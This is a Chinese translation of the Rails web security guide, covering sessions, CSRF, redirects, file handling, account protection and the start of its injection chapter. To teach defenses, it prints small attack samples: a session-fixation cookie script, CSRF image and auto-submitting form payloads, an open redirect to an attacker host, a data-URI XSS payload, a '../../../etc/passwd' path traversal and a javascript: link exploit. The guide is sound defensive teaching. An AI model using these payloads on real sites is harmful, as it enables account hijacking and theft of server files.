1 简介
Web 应用程序框架旨在帮助开发人员构建 Web 应用程序。其中一些还帮助您保护 Web 应用程序。实际上,一个框架并不比另一个更安全:如果您正确使用它,您就可以使用许多框架构建安全的应用程序。Ruby on Rails 具有一些巧妙的辅助方法,例如针对 SQL 注入,因此这几乎不是问题。
总的来说,不存在即插即用的安全。安全取决于使用框架的人员,有时也取决于开发方法。它取决于 Web 应用程序环境的所有层:后端存储、Web 服务器和 Web 应用程序本身(以及可能的其他层或应用程序)。
然而,Gartner 集团估计,75% 的攻击发生在 Web 应用程序层,并发现“在 300 个经过审计的网站中,有 97% 易受攻击”。这是因为 Web 应用程序相对容易攻击,因为即使是外行人士也易于理解和操纵它们。
针对 Web 应用程序的威胁包括用户帐户劫持、绕过访问控制、读取或修改敏感数据或呈现虚假内容。或者攻击者可能能够安装木马程序或垃圾邮件发送软件,以谋取经济利益,或通过修改公司资源来损害品牌声誉。为了防止攻击,最大限度地减少其影响并消除攻击点,首先,您必须完全了解攻击方法,才能找到正确的防御措施。这就是本指南的目标。
为了开发安全的 Web 应用程序,您必须了解所有层级并了解您的敌人。要保持最新,请订阅安全邮件列表,阅读安全博客,并养成更新和安全检查的习惯(请查看其他资源 章节)。这是手动完成的,因为这是您发现恼人的逻辑安全问题的方式。
2 会话
本章描述了一些与会话相关的特定攻击以及保护您的会话数据的安全措施。
2.1 什么是会话?
会话使应用程序能够在用户与应用程序交互时维护用户特定的状态。例如,会话允许用户进行一次身份验证,并在以后的请求中保持登录状态。
大多数应用程序需要跟踪与应用程序交互的用户的状态。这可能是购物篮的内容,也可能是当前登录用户的用户 ID。这种用户特定的状态可以存储在会话中。
Rails 为每个访问应用程序的用户提供一个会话对象。如果用户已经拥有活动会话,Rails 将使用现有会话。否则,将创建一个新会话。
有关会话以及如何在Action Controller 概述指南 中使用它们的更多信息。
2.2 会话劫持
窃取用户的会话 ID 使攻击者能够以受害者的名义使用 Web 应用程序。
许多 Web 应用程序都具有身份验证系统:用户提供用户名和密码,Web 应用程序检查它们并将相应的用户 ID 存储在会话哈希中。从现在起,会话有效。在每次请求中,应用程序将加载由会话中的用户 ID 标识的用户,而无需重新身份验证。Cookie 中的会话 ID 标识会话。
因此,Cookie 充当 Web 应用程序的临时身份验证。任何窃取他人的 Cookie 的人,都可以以该用户的身份使用 Web 应用程序,这可能会造成严重后果。以下是一些劫持会话的方法及其防御措施
在不安全的网络中嗅探 Cookie。无线局域网就是一个例子。在未加密的无线局域网中,尤其容易监听所有连接的客户端的流量。对于 Web 应用程序构建者来说,这意味着要提供通过 SSL 的安全连接。在 Rails 3.1 及更高版本中,这可以通过在您的应用程序配置文件中始终强制 SSL 连接来实现
config.force_ssl = true
大多数人在公共终端工作后不会清除 Cookie。因此,如果最后一位用户没有从 Web 应用程序中注销,您就可以以该用户的身份使用它。在 Web 应用程序中为用户提供一个注销按钮,并使其醒目。
许多跨站脚本 (XSS) 利用旨在获取用户的 Cookie。您将在后面阅读有关XSS 的更多信息。
攻击者不会窃取他们不了解的 Cookie,而是会修复他们知道的用户的会话标识符(在 Cookie 中)。稍后阅读有关这种所谓的会话固定攻击的更多信息。
2.3 会话存储
Rails 使用 ActionDispatch::Session::CookieStore
作为默认会话存储。
在Action Controller 概述指南中了解有关其他会话存储的更多信息。
Rails CookieStore
将会话哈希保存在客户端的 Cookie 中。服务器从 Cookie 中检索会话哈希,并消除了对会话 ID 的需求。这将极大地提高应用程序的速度,但它是一个有争议的存储选项,您必须考虑其安全隐患和存储限制。
Cookie 的大小限制为 4 kB。仅对与会话相关的數據使用 Cookie。
Cookie 存储在客户端。即使对于已过期的 Cookie,客户端也可能会保留 Cookie 内容。客户端可以将 Cookie 复制到其他机器。避免在 Cookie 中存储敏感數據。
Cookie 本质上是临时的。服务器可以为 Cookie 设置过期时间,但客户端可以在此之前删除 Cookie 及其内容。将所有更永久性的數據持久化到服务器端。
会话 Cookie 不会自行失效,并且可能被恶意重用。最好让您的应用程序使用存储的时间戳使旧的会话 Cookie 失效。
Rails 默认情况下会加密 Cookie。客户端无法读取或编辑 Cookie 的内容,除非破坏加密。如果您妥善保管好您的机密信息,可以认为您的 Cookie 通常是安全的。
CookieStore
使用加密的 Cookie 罐提供一个安全、加密的位置来存储会话數據。因此,基于 Cookie 的会话对其内容提供了完整性和机密性。用于签名 Cookie 的加密密钥和验证密钥都源自 secret_key_base
配置值。
机密信息必须很长且随机。使用 bin/rails secret
获取新的唯一机密信息。
在本指南后面的部分中了解有关管理凭据的更多信息。
为加密的 Cookie 和签名的 Cookie 使用不同的盐值也很重要。对不同的盐配置值使用相同的值可能会导致对不同的安全功能使用相同的派生密钥,这反过来可能会削弱密钥的强度。
在测试和开发应用程序中,从应用程序名称派生 secret_key_base
。其他环境必须使用 config/credentials.yml.enc
中存在的随机密钥,如解密状态所示。
secret_key_base: 492f...
如果您的应用程序的机密信息可能已被泄露,请认真考虑更改它们。请注意,更改 secret_key_base
将使当前活动的会话过期,并要求所有用户重新登录。除了会话數據之外,加密的 Cookie、签名的 Cookie 和 Active Storage 文件也可能受到影响。
2.4 轮换加密的和签名的 Cookie 配置
轮换是更改 Cookie 配置和确保旧 Cookie 不会立即失效的理想方法。然后,您的用户有机会访问您的网站,使用旧的配置读取他们的 Cookie,并使用新的更改重写它。一旦您确信足够多的用户有机会升级他们的 Cookie,就可以删除轮换。
可以轮换用于加密和签名的 Cookie 的密码和摘要。
例如,要将用于签名的 Cookie 的摘要从 SHA1 更改为 SHA256,您需要先分配新的配置值。
Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
现在为旧的 SHA1 摘要添加轮换,以便现有 Cookie 无缝升级到新的 SHA256 摘要。
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end
然后,任何写入的签名 Cookie 都将使用 SHA256 进行摘要。使用 SHA1 写入的旧 Cookie 仍然可以读取,如果访问,将使用新的摘要写入,因此它们将在您删除轮换时升级并且不会失效。
一旦使用 SHA1 摘要签名的 Cookie 的用户不再有机会重写他们的 Cookie,请删除轮换。
虽然您可以设置任意数量的轮换,但在任何时候都拥有多个轮换并不常见。
有关使用加密和签名消息进行密钥轮换以及 rotate
方法接受的各种选项的更多详细信息,请参阅MessageEncryptor API 和MessageVerifier API 文档。
2.5 CookieStore 会话的重放攻击
使用 CookieStore
时需要注意的另一种攻击是重放攻击。
它的工作原理如下
- 用户收到积分,积分存储在会话中(无论如何这都是个坏主意,但我们将以演示目的进行操作)。
- 用户购买了东西。
- 新的调整后的积分值存储在会话中。
- 用户从第一步中获取 Cookie(他们之前已复制)并替换浏览器中的当前 Cookie。
- 用户恢复了他们最初的积分。
在会话中包含随机数 (nonce) 可以解决重放攻击。nonce 仅有效一次,服务器必须跟踪所有有效的 nonce。如果您有多个应用程序服务器,它会变得更加复杂。在数据库表中存储 nonce 将违背 CookieStore 的全部目的(避免访问数据库)。
针对此攻击的最佳解决方案是不将此类數據存储在会话中,而是在数据库中存储。在这种情况下,将积分存储在数据库中,并将 logged_in_user_id
存储在会话中。
2.6 会话固定
除了窃取用户的会话 ID 外,攻击者还可以修复他们知道的会话 ID。这被称为会话固定。
这种攻击侧重于修复攻击者知道的用户的会话 ID,并迫使用户的浏览器使用此 ID。因此,攻击者无需事后窃取会话 ID。以下是这种攻击的工作原理
- 攻击者创建一个有效的会话 ID:他们加载他们想要固定会话的 Web 应用程序的登录页面,并从响应中获取 Cookie 中的会话 ID(请参阅图片中的第 1 和 2 号)。
- 他们通过定期访问 Web 应用程序来维护会话,以保持即将过期的会话处于活动状态。
- 攻击者迫使用户的浏览器使用此会话 ID(请参阅图片中的第 3 号)。由于您不能更改另一个域的 Cookie(因为存在同源策略),因此攻击者必须从目标 Web 应用程序的域运行 JavaScript。通过 XSS 将 JavaScript 代码注入应用程序可以实现这种攻击。以下是一个示例:
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
。稍后阅读有关 XSS 和注入的更多信息。 - 攻击者引诱受害者访问带有 JavaScript 代码的受感染页面。通过查看该页面,受害者的浏览器会将会话 ID 更改为陷阱会话 ID。
- 由于新的陷阱会话未被使用,Web 应用程序将要求用户进行身份验证。
- 从现在开始,受害者和攻击者将使用相同的会话共同使用 Web 应用程序:该会话变得有效,并且受害者没有注意到攻击。
2.7 会话固定 - 对策
一行代码就能保护您免受会话固定攻击。
最有效的对策是在成功登录后发出新的会话标识符,并将旧的会话标识符声明为无效。这样,攻击者就无法使用固定的会话标识符。这也是防止会话劫持的有效对策。以下是如何在 Rails 中创建新会话的方法
reset_session
如果您使用流行的Devise gem 进行用户管理,它会自动为您在登录和注销时使会话过期。如果您自己编写代码,请记住在登录操作后(创建会话时)使会话过期。这将从会话中删除值,因此您必须将它们转移到新会话。
另一种对策是在会话中保存特定于用户的属性,在每次收到请求时验证它们,并在信息不匹配时拒绝访问。此类属性可以是远程 IP 地址或用户代理(Web 浏览器名称),尽管后者对用户来说不那么特定。保存 IP 地址时,您必须牢记某些互联网服务提供商或大型组织会将其用户置于代理后面。这些代理可能会在会话过程中更改,因此这些用户可能无法使用您的应用程序,或者只能有限制地使用。
2.8 会话过期
从不过期的会话会延长跨站点请求伪造 (CSRF)、会话劫持和会话固定的攻击时间段。
一种方法是使用会话 ID 为 Cookie 设置过期时间戳。但是,客户端可以编辑存储在 Web 浏览器中的 Cookie,因此在服务器上使会话过期更安全。以下是如何在数据库表中使会话过期的示例。调用 Session.sweep(20.minutes)
使在 20 分钟前使用的会话过期。
class Session < ApplicationRecord
def self.sweep(time = 1.hour)
where(updated_at: ...time.ago).delete_all
end
end
有关会话固定的部分介绍了维护会话的问题。攻击者每五分钟维护一次会话,可以无限期地保持会话处于活动状态,尽管您正在使会话过期。对此的简单解决方案是在会话表中添加一个 created_at
列。现在,您可以删除很久以前创建的会话。在上面的 sweep 方法中使用此行
where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
3 跨站点请求伪造 (CSRF)
这种攻击方法的工作原理是在访问用户被认为已进行身份验证的 Web 应用程序的页面中包含恶意代码或链接。如果该 Web 应用程序的会话尚未超时,攻击者可能会执行未经授权的命令。
在会话章节中,您已经了解到大多数 Rails 应用程序使用基于 Cookie 的会话。它们要么将会话 ID 存储在 Cookie 中,并拥有一个服务器端的会话哈希,要么将整个会话哈希存储在客户端。无论哪种情况,浏览器都会在每个对域的请求中自动发送 Cookie,如果它可以为该域找到 Cookie。有争议的一点是,如果请求来自不同域的网站,它也会发送 Cookie。让我们从一个示例开始
- Bob 浏览一个留言板,查看来自黑客的帖子,其中包含一个精心制作的 HTML 图像元素。该元素引用了 Bob 的项目管理应用程序中的命令,而不是图像文件:
<img src="http://www.webapp.com/project/1/destroy">
- Bob 在 `www.webapp.com` 上的会话仍然处于活动状态,因为他几分钟前没有注销。
- 浏览器在查看帖子时发现一个图片标签。它试图从 `www.webapp.com` 加载可疑的图片。正如之前解释的那样,它还会将包含有效会话 ID 的 cookie 一并发送。
- `www.webapp.com` 上的 web 应用会验证相应会话哈希中的用户信息,并销毁 ID 为 1 的项目。然后,它返回一个结果页面,这对浏览器来说是一个意外的结果,因此它不会显示图片。
- Bob 没有注意到攻击 - 但几天后,他发现第一个项目不见了。
需要注意的是,实际制作的图片或链接并不一定需要位于 web 应用的域名中,它可以位于任何地方 - 在论坛、博客文章或电子邮件中。
CSRF 在 CVE(常见漏洞和披露)中很少出现 - 在 2006 年不到 0.1% - 但它确实是一个“沉睡的巨人”[Grossman]。这与许多安全合同工作的结果形成鲜明对比 - *CSRF 是一个重要的安全问题*。
3.1 CSRF 对策
首先,按照 W3C 的要求,正确使用 GET 和 POST。其次,非 GET 请求中的安全令牌将保护您的应用免受 CSRF 攻击。
3.1.1 正确使用 GET 和 POST
HTTP 协议基本上提供了两种主要类型的请求 - GET 和 POST(DELETE、PUT 和 PATCH 应该像 POST 一样使用)。万维网联盟 (W3C) 提供了一份选择 HTTP GET 或 POST 的清单。
如果使用 GET
- 交互更像是一个问题(例如,这是一个安全的操作,例如查询、读取操作或查找)。
如果使用 POST
- 交互更像一个命令,或者
- 交互改变了资源的状态,用户会感知到这种改变(例如,订阅服务),或者
- 用户对交互的结果负责。
如果您的 web 应用是 RESTful 的,您可能习惯了其他 HTTP 动词,例如 PATCH、PUT 或 DELETE。然而,一些传统的 web 浏览器不支持它们 - 只有 GET 和 POST。Rails 使用一个隐藏的 `_method` 字段来处理这些情况。
POST 请求也可以自动发送。在本例中,链接 www.harmless.com 在浏览器的状态栏中显示为目标。但它实际上是动态创建了一个新表单,该表单发送了一个 POST 请求。
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
或者攻击者将代码放置在图像的 onmouseover 事件处理程序中。
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
还有许多其他的可能性,例如使用 `<script>` 标签向具有 JSONP 或 JavaScript 响应的 URL 发送跨站点请求。响应是攻击者可以找到方法运行的可执行代码,可能提取敏感数据。为了防止这种数据泄露,我们必须禁止跨站点 `<script>` 标签。但是,Ajax 请求会遵守浏览器的同源策略(只有您自己的网站才能启动 `XmlHttpRequest`),因此我们可以安全地允许它们返回 JavaScript 响应。
我们无法区分 `<script>` 标签的来源 - 无论它是您自己网站上的标签还是其他恶意网站上的标签 - 因此我们必须全面阻止所有 `<script>`,即使它实际上是来自您自己网站的安全的同源脚本。在这种情况下,请在服务于为 `<script>` 标签设计的 JavaScript 的操作上明确跳过 CSRF 保护。
3.1.2 必需的安全令牌
为了防御所有其他伪造请求,我们引入了一个必需的安全令牌,我们的网站知道这个令牌,但其他网站不知道。我们在请求中包含安全令牌,并在服务器上验证它。当 config.action_controller.default_protect_from_forgery
设置为 `true` 时,这将自动完成,这是新创建的 Rails 应用的默认设置。您也可以手动添加以下内容到您的应用控制器。
protect_from_forgery with: :exception
这将在 Rails 生成的所有表单中包含一个安全令牌。如果安全令牌与预期不符,将抛出异常。
当使用 Turbo 提交表单时,也需要安全令牌。Turbo 在您应用布局的 `csrf` 元标签中查找令牌,并将其添加到 `X-CSRF-Token` 请求头中的请求中。这些元标签是用 csrf_meta_tags
辅助方法创建的
<head>
<%= csrf_meta_tags %>
</head>
结果是
<head>
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="THE-TOKEN" />
</head>
当从 JavaScript 发出您自己的非 GET 请求时,也需要安全令牌。 Rails Request.JS 是一个 JavaScript 库,它封装了添加所需请求头的逻辑。
当使用其他库进行 Ajax 调用时,需要自己将安全令牌添加为默认标头。要从元标签中获取令牌,您可以执行以下操作
document.head.querySelector("meta[name=csrf-token]")?.content
3.1.3 清除持久性 cookie
通常使用持久性 cookie 来存储用户信息,例如使用 `cookies.permanent`。在这种情况下,cookie 不会被清除,开箱即用的 CSRF 保护将无效。如果您使用的是与会话不同的 cookie 存储来存储这些信息,则必须自行处理如何处理这些信息。
rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # Example method that will destroy the user cookies
end
以上方法可以放置在 `ApplicationController` 中,当在非 GET 请求中不存在 CSRF 令牌或 CSRF 令牌不正确时,将调用该方法。
请注意,跨站点脚本 (XSS) 漏洞会绕过所有 CSRF 保护。XSS 使攻击者能够访问页面上的所有元素,因此他们可以从表单中读取 CSRF 安全令牌或直接提交表单。稍后阅读关于 XSS 的更多信息。
4 重定向和文件
另一类安全漏洞围绕着 web 应用中重定向和文件的使用。
4.1 重定向
web 应用中的重定向是一个被低估的攻击工具:攻击者不仅可以将用户转发到一个陷阱网站,还可以创建自我包含的攻击。
只要用户被允许传递重定向的 URL(部分),它就有可能存在漏洞。最明显的攻击是将用户重定向到一个看起来和感觉都与原始网站完全一样的假冒 web 应用。这种所谓的钓鱼攻击是通过向用户发送一封看起来不那么可疑的电子邮件中的链接、通过 XSS 在 web 应用中注入链接或将链接放在外部网站来进行的。它看起来不那么可疑,因为链接以 web 应用的 URL 开头,而恶意网站的 URL 被隐藏在重定向参数中: http://www.example.com/site/redirect?to=www.attacker.com。以下是一个传统操作的示例
def legacy
redirect_to(params.update(action: "main"))
end
如果用户尝试访问传统操作,这将把用户重定向到主要操作。其目的是保留传统操作的 URL 参数,并将它们传递给主要操作。但是,如果攻击者在 URL 中包含一个主机密钥,则可以利用它
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
如果它位于 URL 的末尾,它几乎不会被注意到,并将用户重定向到 `attacker.com` 主机。一般来说,将用户输入直接传递给 `redirect_to` 被认为是危险的。一个简单的对策是只在传统操作中包含预期参数(再次采用允许列表方法,而不是删除意外参数)。如果您重定向到一个 URL,请使用允许列表或正则表达式检查它。
4.1.1 自包含 XSS
另一个重定向和自包含 XSS 攻击在 Firefox 和 Opera 中通过使用数据协议进行。该协议直接在浏览器中显示其内容,内容可以是任何东西,从 HTML 或 JavaScript 到完整的图像
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
本例是一个 Base64 编码的 JavaScript,它显示一个简单的消息框。在重定向 URL 中,攻击者可以将恶意代码重定向到此 URL。作为对策,不要允许用户提供(部分)要重定向到的 URL。
4.2 文件上传
确保文件上传不会覆盖重要的文件,并异步处理媒体文件。
许多 web 应用允许用户上传文件。用户可以选择的文件名(部分)应始终进行过滤,因为攻击者可以使用恶意文件名覆盖服务器上的任何文件。如果您将文件上传存储在 /var/www/uploads,并且用户输入一个像 "../../../etc/passwd" 这样的文件名,它可能会覆盖一个重要的文件。当然,Ruby 解释器需要相应的权限才能这样做 - 这是将 web 服务器、数据库服务器和其他程序作为权限较低的 Unix 用户运行的另一个原因。
在过滤用户输入文件名时,不要尝试删除恶意部分。想象一下,web 应用删除文件名中的所有 "../",而攻击者使用像 "....//" 这样的字符串 - 结果将是 "../"。最好使用允许列表方法,它使用一组接受的字符检查文件名的有效性。这与限制列表方法相反,限制列表方法试图删除不允许的字符。如果它不是有效的文件名,则拒绝它(或替换不接受的字符),但不要删除它们。以下是来自 attachment_fu 插件 的文件名清理器
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub!(/\A.*(\\|\/)/, "")
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub!(/[^\w.-]/, "_")
end
end
同步处理文件上传(例如 `attachment_fu` 插件可能对图像所做的那样)的一个显著缺点是它容易受到拒绝服务攻击。攻击者可以从多台计算机同步启动图像文件上传,这会增加服务器负载,并最终可能导致服务器崩溃或停滞。
解决此问题的最佳方法是异步处理媒体文件:保存媒体文件,并在数据库中安排一个处理请求。第二个进程将在后台处理文件。
4.3 文件上传中的可执行代码
上传文件中的源代码如果放置在特定目录中,可能会被执行。如果 Apache 的主目录是 Rails 的 /public 目录,请不要将文件上传放在其中。
流行的 Apache web 服务器有一个名为 DocumentRoot 的选项。这是网站的主目录,此目录树中的所有内容都将由 web 服务器提供服务。如果存在具有特定文件名扩展名的文件,则请求该文件时其中的代码将被执行(可能需要设置一些选项)。例如,PHP 和 CGI 文件。现在想象一下,攻击者上传了一个名为“file.cgi”的文件,其中包含代码,当有人下载该文件时,该代码将被执行。
如果您的 Apache DocumentRoot 指向 Rails 的 /public 目录,请不要将文件上传放在其中,将文件存储至少向上一个级别。
4.4 文件下载
确保用户不能下载任意文件。
就像你必须过滤上传的文件名一样,你也要过滤下载的文件名。send_file()
方法将文件从服务器发送到客户端。如果你使用用户输入的文件名,并且没有进行过滤,那么任何文件都可以被下载。
send_file("/var/www/uploads/" + params[:filename])
只需要传递一个像 "../../../etc/passwd" 这样的文件名,就可以下载服务器的登录信息。一个简单的解决方案是,*检查请求的文件是否在预期的目录中*。
basename = File.expand_path("../../files", __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: "inline"
另一种(额外的)方法是在数据库中存储文件名,并在磁盘上使用数据库中的 ID 对文件进行命名。这对于避免执行上传文件中可能存在的代码也是一个很好的方法。attachment_fu
插件以类似的方式实现这一点。
5 用户管理
几乎每个 Web 应用程序都需要处理授权和身份验证。与其自己开发,建议使用通用的插件。但是也要及时更新它们。一些额外的预防措施可以使你的应用程序更加安全。
Rails 有很多可用的身份验证插件。像流行的 devise 和 authlogic 这样的好插件只存储加密的哈希密码,而不是明文密码。从 Rails 3.1 开始,你也可以使用内置的 has_secure_password
方法,它支持安全的密码哈希、确认和恢复机制。
5.1 暴力破解账户
对账户的暴力破解攻击是对登录凭证的反复尝试攻击。使用更通用的错误消息来防御它们,并可能要求输入验证码。
你的 Web 应用程序的用户名列表可能会被用来暴力破解相应的密码,因为大多数人没有使用复杂的密码。大多数密码都是字典词和数字的组合。因此,拥有用户名列表和字典,一个自动程序可以在几分钟内找到正确的密码。
因此,大多数 Web 应用程序在其中一个不正确时,会显示一个通用的错误消息 "用户名或密码不正确"。如果它显示 "你输入的用户名未找到",攻击者就可以自动地编译一个用户名列表。
然而,大多数 Web 应用程序设计人员忽略了忘记密码页面。这些页面通常会承认输入的用户名或电子邮件地址是否未找到。这允许攻击者编译用户名列表并暴力破解账户。
为了缓解此类攻击,*在忘记密码页面上也显示通用的错误消息*。此外,你可以在某个 IP 地址上多次登录失败后,*要求输入验证码*。但是请注意,这不是一个针对自动程序的万无一失的解决方案,因为这些程序可能像更改 IP 地址一样频繁地更改 IP 地址。但是,它提高了攻击的难度。
5.2 账户劫持
许多 Web 应用程序很容易劫持用户账户。为什么不与众不同,让它更难呢?
5.2.1 密码
想象一下,攻击者窃取了用户的会话 cookie,因此可以共用应用程序。如果很容易更改密码,攻击者只需点击几下即可劫持账户。或者,如果更改密码表单容易受到 CSRF 攻击,攻击者可以通过诱使受害者访问一个包含精心制作的 IMG 标签的网页来更改受害者的密码,该标签执行 CSRF。作为对策,当然要*使更改密码表单免受 CSRF 攻击*。并且*要求用户在更改密码时输入旧密码*。
5.2.2 电子邮件
但是,攻击者也可以通过更改电子邮件地址来接管账户。在他们更改电子邮件地址后,他们会访问忘记密码页面,并且(可能新的)密码会被发送到攻击者的电子邮件地址。作为对策,*要求用户在更改电子邮件地址时也输入密码*。
5.2.3 其他
根据你的 Web 应用程序,可能还有更多劫持用户账户的方法。在许多情况下,CSRF 和 XSS 将有助于做到这一点。例如,在 Google Mail 中的 CSRF 漏洞。在这个概念验证攻击中,受害者会被诱骗到攻击者控制的网站。该网站上有一个精心制作的 IMG 标签,它会导致一个 HTTP GET 请求,该请求会更改 Google Mail 的过滤器设置。如果受害者登录到 Google Mail,攻击者会更改过滤器,将所有电子邮件转发到他们的电子邮件地址。这几乎和劫持整个账户一样有害。作为对策,*审查你的应用程序逻辑并消除所有 XSS 和 CSRF 漏洞*。
5.3 验证码
验证码是一种挑战-响应测试,用于确定响应不是由计算机生成的。它通常用于保护注册表单免受攻击者和评论表单免受自动垃圾邮件机器人的攻击,方法是要求用户输入扭曲图像中的字母。这是正向验证码,但也有反向验证码。反向验证码的想法不是让用户证明他们是人类,而是揭示机器人是机器人。
一个流行的正向验证码 API 是 reCAPTCHA,它显示了从旧书中提取的两个扭曲的单词图像。它还添加了一条倾斜的线,而不是像之前的验证码那样使用扭曲的背景和高水平的文字扭曲,因为后者被破解了。作为奖励,使用 reCAPTCHA 有助于数字化旧书。 ReCAPTCHA 也是一个 Rails 插件,其名称与 API 相同。
你将从 API 中获取两个密钥,一个公钥和一个私钥,你需要将它们放入你的 Rails 环境中。之后,你可以在视图中使用 recaptcha_tags 方法,在控制器中使用 verify_recaptcha 方法。Verify_recaptcha 在验证失败时将返回 false。验证码的问题是,它们对用户体验有负面影响。此外,一些视障用户发现某些类型的扭曲验证码难以阅读。尽管如此,正向验证码仍然是阻止各种机器人提交表单的最佳方法之一。
大多数机器人真的很幼稚。它们会爬行网页,并将垃圾邮件放入它们能找到的每个表单字段。反向验证码利用这一点,在表单中包含一个 "蜜罐" 字段,该字段会通过 CSS 或 JavaScript 对人类用户隐藏。
请注意,反向验证码只对幼稚的机器人有效,不足以保护关键应用程序免受目标机器人攻击。不过,可以将反向验证码和正向验证码结合起来提高性能,例如,如果 "蜜罐" 字段不为空(检测到机器人),你就不需要验证正向验证码,这需要在计算响应之前向 Google ReCaptcha 发送 HTTPS 请求。
以下是一些通过 JavaScript 和/或 CSS 隐藏蜜罐字段的想法
- 将字段放置在页面可见区域之外
- 将元素缩小或将其颜色设置为与页面背景相同
- 将字段显示出来,但告诉人类将其留空
最简单的反向验证码是一个隐藏的蜜罐字段。在服务器端,你将检查该字段的值:如果它包含任何文本,则它一定是一个机器人。然后,你可以忽略帖子或返回正结果,但不将帖子保存到数据库中。这样,机器人就会满意并继续前进。
你可以在 Ned Batchelder 的 博客文章 中找到更复杂的反向验证码
- 包含一个带有当前 UTC 时间戳的字段,并在服务器上检查它。如果它过时了,或者它是在未来,则该表单无效。
- 随机化字段名称
- 包含多个不同类型的蜜罐字段,包括提交按钮
请注意,这只能保护你免受自动机器人的攻击,针对性的定制机器人无法通过这种方法阻止。所以*反向验证码可能不适合保护登录表单*。
5.4 日志
告诉 Rails 不要将密码放在日志文件中。
默认情况下,Rails 会记录对 Web 应用程序的所有请求。但是日志文件可能是一个巨大的安全问题,因为它们可能包含登录凭证、信用卡号码等等。在设计 Web 应用程序安全概念时,你也要考虑如果攻击者获得了(完全)访问 Web 服务器的权限会发生什么。如果日志文件以明文形式列出秘密和密码,那么在数据库中加密秘密和密码将毫无用处。你可以*通过将它们追加到应用程序配置中的 config.filter_parameters
来过滤日志文件中的某些请求参数*。这些参数将在日志中标记为 [FILTERED]。
config.filter_parameters << :password
提供的参数将通过部分匹配正则表达式过滤。Rails 在适当的初始化程序(initializers/filter_parameter_logging.rb
)中添加了一个默认过滤器列表,包括 :passw
、:secret
和 :token
,以处理典型的应用程序参数,例如 password
、password_confirmation
和 my_token
。
5.5 正则表达式
Ruby 正则表达式中的一个常见陷阱是使用 ^ 和 $ 来匹配字符串的开头和结尾,而不是使用 \A 和 \z。
Ruby 使用的方法与许多其他语言略有不同,用于匹配字符串的开头和结尾。这就是为什么即使许多 Ruby 和 Rails 书籍也弄错了这一点。那么,这如何构成安全威胁呢?假设你想松散地验证一个 URL 字段,并且你使用了这样的简单正则表达式
/^https?:\/\/[^\n]+$/i
这在某些语言中可能没问题。但是,*在 Ruby 中,^
和 $
匹配行开头和行结尾*。因此,像这样的 URL 可以毫无问题地通过过滤器
javascript:exploit_code();/*
http://hi.com
*/
这个 URL 通过了过滤器,因为正则表达式匹配了 - 第二行,其余部分无关紧要。现在假设我们有一个视图,它这样显示 URL
link_to "Homepage", @user.homepage
对于访问者来说,这个链接看起来很无害,但当它被点击时,它将执行 JavaScript 函数 "exploit_code" 或攻击者提供的任何其他 JavaScript 代码。
为了修复正则表达式,应该使用 \A
和 \z
来代替 ^
和 $
,如下所示
/\Ahttps?:\/\/[^\n]+\z/i
由于这是一个常见错误,因此格式验证器(validates_format_of)现在会抛出一个异常,如果提供的正则表达式以 ^ 开头或以 $ 结尾。如果你确实需要使用 ^ 和 $ 来代替 \A 和 \z(这种情况很少见),你可以将 :multiline 选项设置为 true,如下所示
# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }
请注意,这只能保护你免受使用格式验证器时最常见的错误 - 你始终需要牢记,^ 和 $ 在 Ruby 中匹配行开头和行结尾,而不是字符串的开头和结尾。
5.6 权限提升
更改单个参数可能会使用户获得未经授权的访问权限。请记住,每个参数都可以更改,无论你隐藏或混淆它多少次。
用户可能会篡改的最常见的参数是 id 参数,例如在 http://www.domain.com/project/1
中,其中 1 是 id。它将在控制器的 params 中可用。在那里,你很可能会做类似的事情
@project = Project.find(params[:id])
对于某些 Web 应用程序来说,这还可以,但如果用户无权查看所有项目,则肯定不行。如果用户将 id 更改为 42,并且他们无权查看该信息,他们仍然可以访问该信息。相反,*查询用户的访问权限*。
@project = @current_user.projects.find(params[:id])
根据您的 Web 应用程序,用户可以篡改的参数将更多。一般来说, *在证明安全之前,任何用户输入数据都不安全,并且来自用户的每个参数都可能被操纵*。
不要被混淆安全和 JavaScript 安全所迷惑。开发者工具允许您查看和更改每个表单的隐藏字段。 *JavaScript 可以用于验证用户输入数据,但不能防止攻击者发送具有意外值的恶意请求*。DevTools 记录每个请求,并可以重复和更改它们。这是一种轻松绕过任何 JavaScript 验证的方法。甚至还有客户端代理,允许您拦截来自互联网和到互联网的任何请求和响应。
6 注入
注入是一种攻击,它将恶意代码或参数引入 Web 应用程序,以便在应用程序的安全上下文中运行它。注入的典型例子包括跨站点脚本 (XSS) 和 SQL 注入。
注入非常棘手,因为相同的代码或参数在一个上下文中可能是恶意的,而在另一个上下文中则完全无害。上下文可以是脚本、查询或编程语言、shell 或 Ruby/Rails 方法。以下部分将涵盖所有可能发生注入攻击的重要上下文。然而,第一部分涵盖了与注入相关的架构决策。
6.1 允许列表与限制列表
在清理、保护或验证某些内容时,请优先使用允许列表而不是限制列表。
限制列表可以是错误电子邮件地址、非公开操作或错误 HTML 标签的列表。这与允许列表相反,允许列表列出了正确的电子邮件地址、公开操作、正确的 HTML 标签等等。虽然有时不可能创建允许列表(例如在垃圾邮件过滤器中),但 *建议优先使用允许列表方法*。
- 对于安全相关的操作,请使用
before_action except: [...]
而不是only: [...]
。这样,您就不会忘记为新添加的操作启用安全检查。 - 允许使用
<strong>
而不是删除<script>
来抵御跨站点脚本 (XSS)。有关详细信息,请参见下文。 - 不要尝试使用限制列表更正用户输入。
- 这将使攻击起作用:
"<sc<script>ript>".gsub("<script>", "")
- 但拒绝格式错误的输入。
